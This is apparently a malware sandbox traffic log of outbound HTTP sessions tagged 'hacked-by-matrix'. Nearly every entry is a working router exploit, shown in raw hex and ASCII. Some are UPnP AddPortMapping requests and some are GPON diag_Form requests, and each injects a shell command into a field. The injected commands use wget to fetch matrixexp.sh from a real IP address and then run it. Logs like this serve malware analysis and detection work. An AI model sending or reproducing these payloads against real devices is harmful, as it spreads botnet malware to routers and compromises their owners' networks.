Mar 21, 2024 05:22:27.787765980 CET	893	OUT	POST /UD/?9 HTTP/1.1 User-Agent: hacked-by-matrix Content-Type: text/xml SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 34 39 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 3e 2f 74 6d 70 2f 2e 65 20 26 26 20 63 64 20 2f 74 6d 70 3b 20 3e 2f 76 61 72 2f 64 65 76 2f 2e 65 20 26 26 20 63 64 20 2f 76 61 72 2f 64 65 76 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 73 68 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 72 6d 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>/tmp/.e && cd /tmp; >/var/dev/.e && cd /var/dev; wget http://109.205.214.35/matrixexp.sh; chmod 777 matrixexp.sh; sh matrixexp.sh; rm matrixexp.sh;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:22:28.610989094 CET	893	OUT	POST /UD/?9 HTTP/1.1 User-Agent: hacked-by-matrix Content-Type: text/xml SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 34 39 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 3e 2f 74 6d 70 2f 2e 65 20 26 26 20 63 64 20 2f 74 6d 70 3b 20 3e 2f 76 61 72 2f 64 65 76 2f 2e 65 20 26 26 20 63 64 20 2f 76 61 72 2f 64 65 76 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 73 68 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 72 6d 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>/tmp/.e && cd /tmp; >/var/dev/.e && cd /var/dev; wget http://109.205.214.35/matrixexp.sh; chmod 777 matrixexp.sh; sh matrixexp.sh; rm matrixexp.sh;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
816	192.168.2.14	54268	223.5.227.142	5555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:27.982955933 CET	881	OUT	POST /UD/?9 HTTP/1.1 User-Agent: hacked-by-matrix Content-Type: text/xml SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 34 39 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 3e 2f 74 6d 70 2f 2e 65 20 26 26 20 63 64 20 2f 74 6d 70 3b 20 3e 2f 76 61 72 2f 64 65 76 2f 2e 65 20 26 26 20 63 64 20 2f 76 61 72 2f 64 65 76 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 73 68 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 72 6d 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>/tmp/.e && cd /tmp; >/var/dev/.e && cd /var/dev; wget http://109.205.214.35/matrixexp.sh; chmod 777 matrixexp.sh; sh matrixexp.sh; rm matrixexp.sh;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:22:32.129314899 CET	881	OUT	POST /UD/?9 HTTP/1.1 User-Agent: hacked-by-matrix Content-Type: text/xml SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 34 39 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 3e 2f 74 6d 70 2f 2e 65 20 26 26 20 63 64 20 2f 74 6d 70 3b 20 3e 2f 76 61 72 2f 64 65 76 2f 2e 65 20 26 26 20 63 64 20 2f 76 61 72 2f 64 65 76 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 73 68 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 72 6d 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>/tmp/.e && cd /tmp; >/var/dev/.e && cd /var/dev; wget http://109.205.214.35/matrixexp.sh; chmod 777 matrixexp.sh; sh matrixexp.sh; rm matrixexp.sh;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:22:38.269212008 CET	881	OUT	POST /UD/?9 HTTP/1.1 User-Agent: hacked-by-matrix Content-Type: text/xml SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 34 39 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 3e 2f 74 6d 70 2f 2e 65 20 26 26 20 63 64 20 2f 74 6d 70 3b 20 3e 2f 76 61 72 2f 64 65 76 2f 2e 65 20 26 26 20 63 64 20 2f 76 61 72 2f 64 65 76 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 73 68 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 72 6d 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>/tmp/.e && cd /tmp; >/var/dev/.e && cd /var/dev; wget http://109.205.214.35/matrixexp.sh; chmod 777 matrixexp.sh; sh matrixexp.sh; rm matrixexp.sh;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:22:50.300790071 CET	881	OUT	POST /UD/?9 HTTP/1.1 User-Agent: hacked-by-matrix Content-Type: text/xml SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 34 39 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 3e 2f 74 6d 70 2f 2e 65 20 26 26 20 63 64 20 2f 74 6d 70 3b 20 3e 2f 76 61 72 2f 64 65 76 2f 2e 65 20 26 26 20 63 64 20 2f 76 61 72 2f 64 65 76 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 73 68 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 72 6d 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>/tmp/.e && cd /tmp; >/var/dev/.e && cd /var/dev; wget http://109.205.214.35/matrixexp.sh; chmod 777 matrixexp.sh; sh matrixexp.sh; rm matrixexp.sh;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
817	192.168.2.14	49042	118.221.122.80	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:29.286463976 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
818	192.168.2.14	44918	5.34.70.36	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:29.286552906 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
819	192.168.2.14	33926	37.68.41.119	443

Timestamp	Bytes transferred	Direction	Data
